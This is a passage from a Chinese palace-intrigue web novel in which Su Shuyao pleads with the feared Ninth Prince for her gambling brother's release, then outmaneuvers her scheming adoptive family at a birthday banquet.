人人都道九皇子阴骘狠戾，但上一世，苏舒窈被九皇子救过。 威远侯得罪权贵下了诏狱，苏舒窈求到端王妃那里，端王妃要求她穿着轻薄的衣裳在冰面跳舞，跳得端王妃高兴了，就同意放人。 她在冰面跳了一个时辰，嘴唇发紫，身体发软。 眼看支撑不下去，是九皇子开口帮她解了围。 她还记得那一天，九皇子一身绯色蟒服，眸中似盛着星河，眉眼间，尽是少年英气。 九皇子深受皇帝宠爱，和太子关系融洽，怎么会杀兄弑父...... “怎么，是有什么不妥？”唐挽心见她愣神，伸手推了她一把。 苏舒窈回过神来：“没什么，这要是成了，岂不是要叫你娘娘了？” “八字还没一撇呢，我才不想嫁太子，以后被困在宫里好无聊，想见你一面都难了。”唐挽心亲昵地用头蹭着苏舒窈的肩膀。 苏舒窈：“那就不嫁，你父兄皆在朝着任要职，还能愁嫁？” 虽然这么说，可是女子的婚姻，半点不由己。 在家族前途面前，女子个人的幸福，是最后才会被考虑的因素。 从唐府出来，苏舒窈还在想。 这一世，她的命运改变了，她不会为威远侯求情，应该不会再遇到九皇子了吧。 结果刚一入府，便被万氏的人喊了过去。 厅堂内，书棋跪在地上，瑟瑟发抖。 “舒窈，你大哥被抓到锦衣卫去了，你快去救他出来啊！” 现今的锦衣卫都指挥使正是九皇子楚翎曜，要救苏明沛，必然要求到九皇子面前。 第38章 求我 看到书棋的那一刻，苏舒窈便知，大哥应该是赌博犯了事。 她佯装不知，问道：“怎么了？” 万氏指着跪在地上抖如筛糠的书棋：“这个祸害，竟然引着你大哥去赌场！害得你大哥被锦衣卫的人抓了！” 朝廷刚颁布了禁赌令，原来的赌场全部关门了，但总有胆大的偷偷开。 苏明沛正好撞到枪口上，遇到锦衣卫巡察，被抓了。 威远侯咬着牙，怒道：“那个孽障，怎么不跑快点！书棋都跑回来了！” 威远侯不是生气苏明沛赌博，而是生气他跑得慢被抓了，害得侯府声誉受了影响。 万氏道：“定是书棋这个祸害不顾主子，扔下主子先跑了！来人，拖下去打死！” 书棋连忙磕头求饶：“夫人饶命，夫人饶命啊......” 立刻有两个小厮过来，捂着书棋的嘴，把人拖了下去。 苏舒窈淡淡地看着万氏：“当初要是把书棋撵了，便没今天这些事了。” 威远侯拧着眉，不满道：“万氏，你是怎么管家的？这等品质低下的人，怎么能让他跟在明沛身边？！” “当初舒窈提出撵人的时候，你为何阻止？” 书棋可是苏明珠保下来的。 苏明珠怕被责难，主动站了出来：“父亲，这事怪不得母亲，母亲也是心善，给了书棋一个改过自新的机会，是书棋辜负了母亲的期待。” 她捏着帕子，小声小气道：“父亲，现在我在掌家，要怪就怪我吧，都是我的错。” 她这般识大体，威远侯哪里会怪她，继续骂道：“那个孽障，好好的不在家温书，跑去赌场干什么？！” 苏明珠又道：“今日这事，也怪不了大哥。大哥整日读书，总要休息一下，劳逸结合才是正理。哪家公子哥儿平时没点爱好，大哥不过是运气不好罢了。” “父亲你别气，小心气坏了身子。” 她的声音娇娇弱弱的，一副为人着想的语气，说话很是好听。 威远侯的心一下就软了。 月姨娘缩在角落，捏着帕子默默观察。 怪不得这侯府里的主子都喜欢苏明珠。 苏明珠还真是有些手段。 也怪不得苏明珠对她这么大的敌意，原来她和苏明珠都是一类人，苏明珠懂她。 万氏开口道：“明珠，这事怪不得你，你刚接手中馈，什么事都不了解。要是舒窈坚定一点撵了人，就好了。” 苏舒窈淡淡一笑，早已料到，这事最后还是怪她。 事已至此，救人要紧。 威远侯看向苏舒窈：“你去镇扶司把明沛带回来。” 苏舒窈：“锦衣卫的地方，是我能去求情的？” 锦衣卫听命于皇帝，可以越过刑部和大理寺直接抓人，任何人的情面都不卖，干的都是抄家灭口的勾当。 别说像他们这般的落魄勋贵，就连手握实权的官宦人家都避之不及，她有什么能力？ 万氏捻着手中佛珠：“侯爷派人去打听了，听说只要家里派人去求，就能放人。” 苏舒窈：“既然打听了，侯爷直接上门去求就是，何必拐弯抹角地又让我去。” 威远侯轻咳了一声：“我乃一品侯爷，怎么能轻易求人？” 苏舒窈：“那就让明珠去，明珠不是和世子关系最好的吗？” 苏明珠没有说话。 万氏出声道：“这事纠其缘由，还是你没赶走书棋。此事因你而起，便该由你结束。” 明珠怎么能去干这种卑躬屈膝的求人之事。 她的明珠，身上可是不能沾染一点污垢的。 传闻九皇子阴晴不定，非常不好相与，万一九皇子发狠，把明珠伤了怎么办？ 这种高危又丢脸的事，当然该苏舒窈去做。 苏舒窈问道：“只要家人去求就放人，这句话是谁说的？” 威远侯：“九皇子殿下亲口说的。” 苏舒窈点头同意了，她想去见一见九皇子。 “上门求人，没有空手的道理。侯爷，求人的银钱和礼呢？” 威远侯没有说话，万氏和苏明珠齐齐看向月姨娘。 月姨娘早在苏舒窈开口要钱的时候，便伤心地哭晕了过去，这个时候，正被丫鬟搀扶着。 威远侯咬紧牙关：“到我私库选一样东西吧。” 苏舒窈跟着管事来到私库，刚一进去，就看到一架掐丝珐琅山水图插屏。 这扇插屏苏舒窈认得，是老夫人的嫁妆。 威远侯赶走大伯一家后，霸占了老夫人的嫁妆。 私库里，好东西不少。 要想个法子，把私库的东西全都给搬空了。 苏舒窈选了一盆红宝石盆景，去了镇扶司。 镇扶司门口，已经等了好多人，都是来求九皇子放人的。 诏狱。 重刑之后，犯人身上腐臭的血腥气蔓延开来，混合着冤魂的叹息钻进鼻腔，让人不寒而栗。 昏黄的油灯下，九皇子楚翎曜静静站立。 少年未及弱冠，墨色飞鱼服衬得他面冠如玉，乌发用一根玉簪竖起，眸光清澈温润，仿若春水映月，暗含暖意。 两个血肉模糊的男子在地上蠕动残喘，他面不改色地看着，悠然自得地喝着香茶。 “九殿下，请你饶了小人大哥吧，大哥他是初犯，他平时从不赌博的，是被人骗过去的！” “你是哪家的公子？”楚翎曜低头看过去：“你要救何人？” “在下是工部侍郎家的二公子，吴绍，在下是为救大哥而来。” “你为了救大哥，准备了些什么好东西？”楚翎曜笑起来，精致的眉眼舒展开，像一块华丽的宝石。 吴绍掏出一叠银票，抖抖索索递上去：“准备了五千两银票。” “五千两？”楚翎曜看了眼银票，没有接：“还挺多。” 吴绍点了点头：“其中一部分，是母亲的嫁妆。” 楚翎曜表情温和：“母亲的嫁妆，也有你的一半，就这样被你大哥拿来糟蹋了，你难道没有怨言？” 吴绍愣了愣，没接话。 楚翎曜：“放心，这里只有你我二人，你的话，不会传出去。你大哥是嫡长子，平时父母偏爱大哥多一些吧？” 吴绍这才点点头：“平时父母确实对大哥关照得多一些，我们是嫡亲的兄弟，花钱救大哥，我没有怨言。” 怕对方不信，吴绍补充道：“我和大哥关系不错，大哥对我很好。” 楚翎曜满意地点点头：“真是令人动容的兄弟情。” “本王这里有两个选择：一，这五千两银票本王收下，马上放了你大哥。” 吴绍刚要磕头谢恩，就听对方道： “二，这五千两你悄悄带走，本王保证，绝对不会让你大哥知晓。但，你大哥三天后才会被放出去，还要挨二十大板。” 低沉的嗓音宛若潺潺流水，又仿若恶魔低语。 吴绍犹豫了。 “给你三秒钟时间考虑。”楚翎曜温和地笑着，幽暗一闪而过：“三、二、一。” 话音落下，吴绍抖抖索索将银票揣进怀中：“大哥染上赌博恶习，应该要受点惩罚长长记性，还是让他三天后出来吧。” 面上一片肃穆，仿佛在为大哥着想一般。 临了，又问：“殿下，您保证不会告诉我大哥吧？” “不会。” “多谢殿下！” 楚翎曜看着吴绍的背影，唇边勾起一抹讥讽：“可笑的兄弟情。” “三天后，把这件事告诉他爹。”答应了不告诉他大哥，可没说不告诉他爹。 他爹知道了，他大哥也会知道。 人总要为自己的行为付出代价，天底下可没有免费的午餐。 “下一个。” 苏舒窈抱着珊瑚和银票，被带到楚翎曜面前。 楚翎曜坐在一把黑色圈椅上，眉目带着笑，像是一朵淬了毒的花，昳丽又危险。 “说吧，你准备怎么求我？” 第39章 怎么求 诏狱蔓延着浓烈的血腥气，地上躺着各种各样的尸体。 这些尸体无一例外都是断肢的、不完整的。 四周弥漫着一股阴森的、摄人的气息。 苏舒窈缓缓走上去，将手中的宝石盆景放到九殿下面前，又缓缓退回原位。 动作沉稳、从容，又优雅。 楚翎曜眉眼扬起，看了下人。 前面那些人一进来便磕头轻饶，这位姑娘，安静得太过分了。 薄唇轻启：“说话。” 苏舒窈这才缓缓开口：“求九殿下放了我大哥。” 语气淡淡的，一点也没有求人的急迫和卑微，像是在谈论今天吃了什么一般稀疏平常。 楚翎曜的神色原本有几分漫不经心，没想到苏舒窈的情绪更淡，他反而打起了精神。 “你是哪家的姑娘，要救何人？” 苏舒窈低着头：“我是威远侯府的大姑娘苏舒窈，救的是威远侯府世子，我的大哥苏明沛。” 语气依旧平淡。 “听你的口气，一点也不急着救人？”楚翎曜眉眼疏朗，抬起头，直勾勾看着人。 苏舒窈淡淡回道：“回殿下，确实不急。” 楚翎曜轻嗤一笑：“既然不急，那就在外等着，什么时候急了再进来。” 说完，便直勾勾看过去，准备欣赏少女惊慌失措的模样。 “是。”苏舒窈抱起红宝石盆景，转身就走。 动作行云流水，一点也没有惊慌失措。 楚翎曜：“......” 真的走了？ 哪家把傻姑娘派出来救人来了？！ 家里没人了吗？ 一双凤眸沉下去，黑如幽潭。 门口守着的锦衣卫见苏舒窈忽然出来，也有些傻眼：“这么快就完事了？” 锦衣卫往里看了一眼，没听到殿下叫人。 苏舒窈淡淡一笑：“殿下让我在门外等一等，最后一个再进去。” 果然，里面已经在叫“下一位”了。 守门的锦衣卫赶紧叫了下一个人进去。 把人叫进去之后，锦衣卫有点不知道该怎么安顿苏舒窈。 苏舒窈长得好，脸上没有一丝惊恐的情绪，脸蛋还红扑扑的，想是和九殿下相谈甚欢。 难道......九殿下看上了这个姑娘......故意让姑娘等到最后一个，为了多聊一会儿？ 九殿下再是性情古怪，也是个男人...... 苏舒窈见锦衣卫不知道该拿自己怎么办，主动开口：“大人，我是威远侯府的大姑娘，大人叫我苏姑娘就好。” “苏姑娘，进屋子里喝杯茶？”如果是九殿下看中的人，千万不能薄待了。 “多谢大人了。”苏舒窈坐在诏狱对面的一间小屋里，一边喝茶一边观察进入诏狱的人。 和苏明沛一起被抓的，有十来个人。 这些人的家属带着厚礼来求九皇子，一个个来的时候愁眉苦脸，脚步沉着，离开的时候脚步轻快，眼底喜悦藏不住。 最重要的是，犯人家属怎么抱着厚礼来，就怎么抱着厚礼离开。 带来的礼，九皇子没收。 苏舒窈喝着香茶，轻轻弯了弯嘴角。 坐了大概一个多时辰，犯人家属只剩下苏舒窈一个，她再次被召了进去。 楚翎曜看着面前的人，轻笑了一声：“你还真不急。” “站了这么久，累不累？” 楚翎曜翘着腿，视线顺着那双绣金线皂靴压过去，带着一股上位者与生俱来的威压。 苏舒窈一点也没被吓到，再次把红宝石盆景放到楚翎曜面前： “回九皇子，门口的大人看我可怜，让我坐着等，还泡了壶好茶。” 楚翎曜心中暗骂了一句下属愚蠢，狭长的眸子瞄了一眼红宝石盆景：“除了这个，就没了？” 苏舒窈又掏出一叠银票：“还准备了三千两。” 楚翎曜抬起头，一双眸子明亮如星，长睫倾覆，遮住眼中一闪而过的阴骘：“家中长辈没来，男丁也没来，偏偏让你一个小姑娘来，看来，你和你大哥关系匪浅啊。” “并非如此。”苏舒窈淡淡一笑：“我和大哥关系很差，他动不动就打骂我。” 楚翎曜怔了怔。 对方的回答有些出乎意料，不能用提前准备好的话术了。不过这也难不倒他。 换个方式，也能勾出人性最深处的阴暗。 “你原本不想来？” “回殿下，是不想来。” “不想来，为何还要来？”楚翎曜心中已经有了答案，大概率被逼迫而来。 与家人关系不和睦，心中肯定有不少苦楚吧。 正好，他最乐意帮忙了。 苏舒窈低着头：“我不敢说。” 楚翎曜心情大好：“你放心说，有我护着你，没人敢为难你。” 苏舒窈抬起头，飞快看了人一眼，再次低下头去：“听说九皇子长得看好，想来看看。” 楚翎曜：“......好看吗？” 苏舒窈抬起头，目光澄澈：“好看。” 她的眼神犹如一阵微风，吹过对方那精致的眉眼，一路往下，最后轻轻落在脖颈处的喉结上。 楚翎曜眸子瞬间阴暗下去，语气里带着一抹鬼气：“再看，眼睛给你剜了。” 他手上拿着一把带血的刑具，肆意在手中拨弄。 “是。”苏舒窈从容应答，眼中毫无惧意，眼眸低垂，唇角微勾，好似在回味九皇子的好颜色。 楚翎曜仿佛一只炸毛的野兽，忽然不想说话了。 深吸一口气，再次恢复成之前的矜贵疏离： “威远侯府不算富裕，准备这么多银钱，想必费了不少功夫吧？” 苏舒窈点了点头：“是。” “这么多银钱，被你大哥糟蹋了，你可曾怨怼？” “我怨怼。” 楚翎曜已经习惯她的不按常规，继续问道：“本王这里有两个选择，一，本王收下红宝石盆景和银票，马上放了你大哥。” 换做上一世，苏舒窈会毫不犹豫选一，现在嘛，她笑道：“殿下，二是什么，我觉得我应该会选二。” 楚翎曜脸上笑容凝固：“......二是银票和红宝石盆景你拿走，此事我不会告诉你大哥。三天后放你大哥，再打他......五十大板。” 说完，有些后悔，五十大板，太多了，这位苏姑娘可能会高兴。 果然，苏舒窈斩钉截铁道：“我选二。” 说完，上前把红宝石盆景抱回怀里。 直接略过了楚翎曜倒数三声这个过程。 楚翎曜的好奇心被勾了起来：“你就这样抱回去，不怕被家人知晓？” 苏舒窈抬起头：“反正殿下都会告诉我的家人。” 楚翎曜：“本王承诺，绝不会告知你大哥。” 苏舒窈：“可是，殿下没有承诺不告诉我的家人。” 楚翎曜扔掉手中带血的刑具：“你一点也不好玩。” 苏舒窈看着桌上的红宝石盆景和银票：“能不能求殿下一件事。” 楚翎曜：“怎么，还是想选一？” “不是。”苏舒窈摇了摇头：“红宝石盆景和银票送给殿下，能不能请殿下能把我大哥多关几天？” 楚翎曜愣了愣，忽然笑起来，像朵昳丽的妖花：“行，本王答应你。” 苏舒窈离开后，楚翎曜叫人进来：“去，查一查，威远侯府究竟怎么回事？” “是。”锦衣卫问道：“殿下，没有家属来送礼的赌徒怎么办？” 楚翎曜眼中闪过一丝恶趣味：“直接放了。” “要让他们知道，有时候，亲人的爱，不是庇护所，而是催命符。” 第40章 抓人 苏舒窈刚回府就被万氏召了过去。 “怎么样？九皇子怎么说？东西收了吗？” 苏舒窈：“九皇子收了东西和银票，说是过几天就把大哥放出来，只不过......” 万氏急切问道：“只不过什么？！” “只不过要挨板子。”苏舒窈继续说道：“九皇子殿下说了，要给个小小的教训，让大哥长点记性。” 万氏放下心来：“这样也好。” 威远侯派人去打听过了，其他被抓去的家属都是差不多的说辞，挨板子，关几天就放出来，性命无忧就好。 “听说你被九皇子单独留下来了？”万氏盯着苏舒窈的脸，见她满面红光，不像是被羞辱过的样子。 难不成，被九皇子殿下看上了？ “是，九皇子殿下让我留下来，多说了一会儿话。” “说了些什么？” “就问我和大哥关系如何。” 万氏看着她那张脸，脸色一变：“你可要记住，你已经和元家有了婚约，可千万别干出让侯府蒙羞的事来！” 苏舒窈淡淡地回道：“夫人，元家的婚事，我不要了。你说过让我做主的。” 万氏呵斥道：“两家联姻大事，哪里是你说不要就不要的！” 要不是元家那边不同意换人，她倒是想把明珠嫁过去。 她死死地盯着人：“你是不是勾搭上九皇子了？你以为被皇子瞧上，就会让元祖对你重视？” 苏舒窈都要气笑了，哪有母亲这么说女儿的。 她朗声回道：“夫人，苏明珠和元祖在我床上纠缠不清都不叫勾搭，我不过是为了救世子，奉命去镇扶司见了九皇子一面，就叫勾搭了？” 万氏气急，手上的茶盏砸了下来：“牙尖嘴利！” 碎瓷在脚边绽放开，苏舒窈如青松耸立，连眉都没皱一下：“夫人，关于九皇子的话，可不能随便说。” 九皇子掌管锦衣卫，动不动就抄家抓人。 这话要是被九皇子听到，万氏不死都会脱层皮，更别说苏明沛现在还在镇扶司诏狱里关着呢。 万氏果然闭上了嘴，只不过气的胸口起伏，脸也涨红，有气没出发的样子很狰狞。 苏舒窈心想，万氏不会被她气出病来吧。 打发走苏舒窈之后，万氏又砸了几个碗碟，血燕喝到嘴里都不香了。 “都是怪老夫人，把她养成了这么一个不知好歹的性子！” 苏明珠劝道：“母亲，说不定姐姐被羞辱了，故意气母亲的。” “依女儿看，姐姐的镇定都是装出来的。” 九皇子这人阴晴不定，只要跟他接触过的人，都讨不到好，她可不信偏偏苏舒窈能被九皇子区别对待。 肯定是在外受了气，回来撒气。 死装罢了。 万氏的脸色这才好了一些。 不过，万氏有些后悔，后悔让苏舒窈去见九皇子，要是明珠去了，被九皇子瞧上才好。 苏明珠看出万氏的想法，主动劝道：“母亲，咱离九皇子远一点。” 上一世九皇子的下场可太惨了。 和九皇子扯上关系，是抄家的死罪。 万氏：“你什么意思？你父亲上次说过，九皇子现在正得宠，皇帝对他纵容得很，太子也待他极好。” 不然怎么九皇子才十七岁，就让他掌着锦衣卫，给他那么大的权力，还让他胡作非为？ 听说九皇子的母妃美艳至极，宠冠后宫。 苏明珠不可能透露她是重生的，只是斩钉截铁道：“母亲，我可听说，九皇子得宠，是因为他没有资格继位，皇帝才对他如此纵容。母亲想想，九皇子现在得罪了这么多人，到时候新帝登基，九皇子肯定会被清算，我们还是离远点好。” “倒是可以想办法亲近三皇子，三皇子是贵妃之子，又和太子交好，女儿觉得，亲近三皇子最稳妥。” 上一世，三皇子登基。 万氏有个娘家的侄女，进了三皇子府当侍妾，三皇子登基之后，也是封了嫔的。 现在趁早巴结，要是和三皇子牵上线，今后侯府的前途可就稳了。 ~ 万氏生辰这天，苏明珠打扮得花枝招展，一大早就站在侯府门口迎客。 万氏和地藏菩萨同诞，很多不太熟的官家夫人也来了。 “现在侯府中馈，是明珠在掌管，今日的寿宴，也是明珠操持的，明珠真是能干！” “侯府中馈不是大小姐在操持吗？” “听说大小姐性子骄纵，管得也不太好，便交给二小姐了。” “这样啊，看起来二小姐确实能干，不知道二小姐是否婚配？” 苏明珠听着这些赞美之词，谦虚道：“夫人谬赞了，姐姐管家也管得也好，姐姐不管了，我才接手的。” “哎哟，二小姐你就别谦虚了，你的才华有目共睹。” “二小姐性子也是极好，也不知哪家运气好，能娶到二小姐当媳妇。” 秋霜听到这些闲言碎语，为苏舒窈鸣不平：“大小姐，二小姐太过分了，处处拉踩大小姐来拔高自己！什么人品啊！” 苏舒窈不以为意：“放心，她嘚瑟不了多久，为她准备的大礼一会儿就到了。” 夏日炎热，宴席设在水榭，戏台也搭在湖边，苏舒窈一早就坐在戏台边等着看戏。 苏明芷也在戏台边纳凉，瞧着人，心里不得劲，主动上前挑衅：“苏舒窈，明珠姐姐忙得像个陀螺，你却在这里看戏，可真是闲啊！” 苏舒窈淡淡看她一眼：“你不也在这里看戏吗？你这么关心苏明珠，你怎么不去帮忙？” 苏明珠被呛得脸色一红，想要争辩，被身后的吴妈妈拉了一下。 今儿是夫人的好日子，可不能出现姐妹不和的事来。 关上门来怎么闹都行，千万不能让人看了笑话。 苏明芷气得转身找万氏去了。 今日寿辰，万氏脸都笑烂了。 她拉着苏明珠的手，一派母女情深。 “明珠，母亲没有看错你，府上的中馈，离了你真不行。” “母亲过奖了，这是女儿的本分。” 经此一事，苏明珠的好名声也算是打出去了，接下来就可以帮她找户好人家了。 明珠这般人才，定是要高嫁的。 权臣世家、有实权的勋贵、皇子王爷都行...... 苏明芷附和道：“还是明珠姐姐识大体，这要是苏舒窈被夸两句，尾巴都翘到天上去了。” 就连威远侯也对苏明珠赞不绝口。 苏明珠心里甜丝丝的：“可惜今日大哥不在。” 苏明芷气愤道：“都怪舒窈，我可是去问了，其他一起被抓的，都被放出来了，就只有大哥还被关着，还有的人，当天就被放出来了，只有大哥还在狱中，受的罚也是最多的。” 威远侯怒道：“不知道她给九皇子说了些什么！真是个孽障！” 正在这时，下人来报：“九皇子来了！” 苏明珠神色一变，那个杀神来干什么？ 在座众人听说九皇子来了，全都精神一震。 九殿下不会是抓人来了吧？ 这是要抓谁？ 谁的家要被抄了？ 第41章 顽劣 侯府宾客听说九皇子来了，全都慌了起来，其中一部分胆小的竟然当场就打起退堂鼓要离开。 威远侯安抚完宾客，第一时间找到苏舒窈：“孽女，你那天和九皇子说了些什么？九皇子怎么来了？！” 苏舒窈也不知道九皇子为何会来，她吓唬道：“侯爷，我那日什么也没说，你快想想，是不是你干了什么事得罪了九皇子？” 威远侯心中咯噔一声，一张脸被吓得煞白。 他将最近干的事在脑子里回想了一遍，又看向几个儿女：“你们有没有在外面乱来？！” 苏明珠几人还没来得及细想，下人来报：“九皇子已经过了二门了。” 威远侯心下一紧，叮嘱儿女今日需得安分守己，赶紧带着人迎了出去。 “九皇子大驾光临，真是蓬荜生辉。” 楚翎曜今日只带了四个锦衣卫，其中两个抬了张板床，板床上躺的正是苏明沛。 威远侯和万氏看到不争气的大儿子，终于松了一口气。 不是来抄家的，是来送人的。 可是，转念一想，九皇子有那么好心？ 楚翎曜眸光一闪，示意将人放下：“听说夫人和地藏慈辰同诞，夫人必定是福泽深厚之人，本王今日前来，也来沾沾福泽气运。” 原来是来参加寿宴沾喜气的。 万氏顿觉脸上有光。 皇子都来沾喜气，那今后她的寿宴，岂不是能请到更多有脸面的官家夫人。 楚翎曜身着一身月白锦袍，肌肤在天光下泛着细腻的柔光。 长睫遮掩眸底戾气，竟显出了几分干净澄澈的气质。 “本王和夫人不熟，不知夫人喜好，苏世子原本还要被多关几日的，本王亲自送来，全当送给夫人的寿礼吧。” “也算是了却了对大小姐的一番承诺。” 在场众人哑然了。 哪有把人家的儿子送来当寿礼的...... 大喜的日子穿着一身月白，这不像来贺寿的，倒像是来奔丧的。 但，九殿下能做出这样的事，也不奇怪。 只要不是抄家就好。 万氏上前道谢：“明珠，把九殿下招呼好。” 苏明珠暗骂了一句蠢货，嘴角扯出一个笑迎了上去。 楚翎曜回头看了苏明珠一眼：“这个太丑了，换一个。” 说完，嘴边噙着笑，看向故意落后一步的苏舒窈。 “这个看着顺眼，就她来伺候吧。” 苏舒窈被点到名，缓缓跟了上去。 在场所有人的视线落在苏舒窈身上。 苏明珠松了一口气，一边感叹幸好没有和九皇子扯上关系，一边又羡慕苏舒窈成了全场焦点，抢了她的关注。 九皇子究竟是什么眼神，竟敢说她丑。 万氏的眼神恨不得把苏舒窈吃了。 苏舒窈那个贱人，竟然真的勾搭上九皇子了！ “母亲。”苏明沛的状态不太好，挨了五十大板，又在阴暗潮湿的诏狱关了几天，整个人身上发出一股难闻的酸臭味。 “儿子好难受。” “快，让人把世子抬回院子里去，叫月姨娘去伺候着。” “娘，一起被关押的赌徒，都被放出来了，他们只被打了二十大板，只有我被打了五十大板，母亲，你一定要调查清楚，是不是苏舒窈在背后阴我！” 苏明沛被饿了几天，看向苏舒窈的眼神充满了怨毒：“母亲，你刚刚听见九皇子的话了，我被折磨得这么惨，定然和苏舒窈有关！” 威远侯骂道：“你好生在院子里养病吧，你母亲和妹妹好不容易给侯府积攒的名声，全被你败光了！” 原本苏明沛被抓的事没人知道，现在九皇子亲自把人送来，大家都知道了。 威远侯不高兴，不敢骂九皇子，只敢骂不争气的儿子：“从今天起一直到科举，不准出门，好好在家读书！” 苏明珠这回没劝，她也觉得大哥该看书了。 这一世很多事情都变了，就怕大哥考不上...... “父亲，今日大哥确实有错，可是，姐姐也太不应该了，让她去救大哥，她反而恩将仇报，让大哥受了如此大难。” 威远侯立刻明白，苏明珠是想借此机会坏了苏舒窈的名声。 苏舒窈是侯府养女，非但不报恩，反而伙同外人谋害大哥。 这要传出去，苏舒窈脊梁骨都要被人戳破。 威远侯却有些犹豫。 如果苏舒窈真的攀上九皇子，对侯府是有好处的。 苏明珠道：“父亲，要是九皇子帮着姐姐澄清，说明九皇子是真的在乎姐姐。” “要是九皇子不帮着姐姐澄清，大家反而会同情大哥，只谴责姐姐，这样对侯府的影响也最小。” “我也不想损她名声的，她这回确实做得太过分了，大哥差点被她害死了。” 威远侯想了想，同意了。 戏台边，九皇子坐的位置，没人敢靠近。 “听说你是养女，和夫人侯爷关系不太好？”楚翎曜问道。 “殿下听谁说的？我和家人关系好得很。” 不管府里怎么闹，在外人看来，侯府家人和苏舒窈的感情是极好的。 “本王听说，夫人抢走了你经营多年的香料铺子，转头给了你妹妹，你难道不恨？” 锦衣卫有调查的法子，这些小事，当然瞒不过楚翎曜。 苏舒窈眉眼一挑，直接点破：“殿下是想挑拨我和夫人的关系？” 楚翎曜勾了勾唇角，长睫微敛。 这么敏锐的吗。 他就喜欢和聪明人说话：“本王想帮你。” 苏舒窈淡淡一笑：“恭喜殿下，在殿下的帮助下，夫人越发恨我了，我的名声也坏了。” 楚翎曜勾了勾唇角，“哟，本王听听，是谁在污蔑你？” 果然，周围的人开始窃窃私语。 “太不是个东西了，竟然伙同外人害自己的大哥。” “苏世子差点被她害死！” “就是，听说是从慈幼局抱回来的，要不是侯夫人慈善，估计都没有机会长大成人。” “这是养出一个仇人来了！” “可真歹毒啊，这样的女子还养什么啊，就该把她赶出府去......” 谣言声此起彼伏，围观众人看苏舒窈的眼光都透着一抹鄙夷。 楚翎曜捻起一颗果子，眼神里透着一股上位者独有的顽劣。 第42章 瞒不住 苏舒窈依然坐得稳当，谣言并未让她半分动容。 楚翎曜漂亮的眸子里露出一抹玩世不恭的笑意：“你不采取措施，粉碎谣言？” 苏舒窈淡然一笑：“殿下是想看我惊慌失措、手忙脚乱到处辩解？” 楚翎曜漫不经心地扬了扬眉：“难道不是吗？女子的名声很重要。” 苏舒窈坦荡地看过去：“这根本不是谣言啊。” 这本来就是事实。 “我和殿下合谋的，殿下忘记了？” 楚翎曜第一次遇到这样一个人，含水的眸子一寸一寸打量过去，眼神里透着审视。 苏舒窈长了张明艳的脸，眼神却淡淡的，不妖娆、不谄媚，像是浸泡于古井的美玉。 温润、冰凉，又深不可测。 “无趣。” 每个人都有弱点、欲望，遇到不公会辩解、会愤怒。 可是，苏舒窈不管遇到什么事，都是一副不疾不徐的样子。 楚翎曜想了想：“你好像......棉花成了精。” 不管别人怎么暴跳如雷，她自巍然不动。 苏舒窈低头笑了起来：“殿下，我被欺负，是会狠狠还手的。” 楚翎曜忽儿起了兴致，一双水润的眸子氤氲出柔和的颜色：“那本王便拭目以待，看看你这成精的棉花，是怎么还手的？” 苏舒窈眨眨眼：“殿下，白看啊？” 楚翎曜眉眼一扬，矜贵的脸上露出一抹探究：“原来你也是有欲望的。说吧，想要什么？” 女子所求，不过是金银首饰、或者嫁个好人家，内心阴暗一点的，让讨厌的人受到磨难。 苏舒窈：“不太好说出口。” “说，本王恕你无罪。”楚翎曜把玩着手指上的翠玉扳指，眼角眉梢挂着几分看热闹不嫌事大的骄纵。 苏舒窈和侯府关系很紧张，莫非是要侯府的人死...... 如果她敢开口，也不过是他动动手指的小事。 苏舒窈抬起头，用一种无比认真的语气：“想要长得好看的男子，像殿下这般的。” “大胆！”楚翎曜指尖的扳指落在地上，发出清脆的声响。 脸上轻佻消失，取而代之的是一片暗黑的阴骘。 “殿下恕我无罪的。”苏舒窈敛起眸子，藏起眼底笑意。 “换一个。”楚翎曜可不会在对方面前服输，往日带笑的唇抿直成线。 苏舒窈淡淡地道：“今后我想扯着殿下的虎皮逞威风。” 楚翎曜盯着人看了好一会儿，才道：“本王答应你。” 华夏人都是折中平和的，譬如你想开扇窗透气，很有可能被阻止。 但如果你说要掀了这屋顶，大家会劝你，开扇窗得了。 苏舒窈便这样轻易地得到了九皇子的承诺。 九皇子的名声可太好用了。 她能想象，侯府家人们听到九皇子的名字，是一种什么表情了。 “谢殿下。” 楚翎曜忽然意识到自己被耍了。 这团棉花精的心思可谓细腻又大胆。 眼底漫出一团幽暗：“敢戏弄本王，不怕本王一怒之下，将侯府抄家夺爵？” 苏舒窈淡淡笑道：“求之不得。” 楚翎曜冷笑一声，解下身上玉佩，抛了过去：“如果遇到困难，尽管到镇抚司寻本王就是。” “多谢殿下。” 苏舒窈接过玉佩，发现身后几个小丫鬟站在远处，紧紧盯着她瞧。 九皇子在大庭广众之下赠玉佩，又会让她遭到万氏询问。 九皇子就是故意的。 苏明珠看见这一幕，一点也不羡慕。 和九皇子那个疯子扯上关系，最后怎么死的都不知道。 果然，没一会儿，万氏便按捺不住让人把苏舒窈叫了过去。 “贴身玉佩都给你，还说没和九皇子勾搭上？说，你怎么和九皇子勾搭上的？现在进展到哪一步了？！” “明沛的伤是怎么回事？” “是不是你故意把九皇子叫来，就为了抢明珠的风头？！” “真是会咬人的狗不叫，不声不响，竟然把九皇子迷惑了！” 苏舒窈面对质问，缓缓道来：“夫人，这么多问题，我不知道该回答哪个。” 万氏看了看威远侯，威远侯开口道：“你和九皇子究竟什么关系？” 如果苏舒窈真的被九皇子看上了，元家那边的婚事，定要想办法退了。 元家再有权势，也比不得皇子。 可是，元家那边是正妻，九皇子这边，最多可能是一个侍妾...... 无妨，元家的婚约，可以让明珠顶替。 苏舒窈淡淡回道：“没有关系。” “没有关系他送你玉佩？！” 威远侯还要再问，忽然，吴妈妈惊慌失措地跑了过来。 “夫人、侯爷、二小姐，不好了，门口闹起来了！” 万氏眉心一皱：“怎么回事？” “商户们上、上门讨要银子来了！” 万氏转头看向苏明珠：“讨要什么银子？” 苏明珠脸色变了变，强撑道：“母亲放心，我自能应对。” 侯府日常的嚼用，很大一部分都是赊账，半年结一回账。 以往苏舒窈掌家的时候，商户们八月初才会上门讨要，这才七月底，怎么就来了？ 万氏估摸着，香料铺子赚了银子，应该够给，就算差一点，给一大半，也不会闹起来。 叮嘱道：“千万别闹事。” 今儿可是她的大日子。 “母亲，女儿知道。”苏明珠赶到门口，趾高气扬道：“怎么回事？离结账之日不是还有一周吗？专门趁着侯夫人生辰来闹事？” “我告诉你们，今儿来侯府做客的，全是贵人，九皇子也在里面，要是闹起来冲撞了贵人，让你们吃不了兜着走！” 商户们哭诉道：“二小姐，往年大小姐掌家的时候，没欠那么多，这一次超得太多了，不收点银子回去，我们也活不了下去了！” “往年最多欠个七八千两，这一回都快欠了快两万两了！” 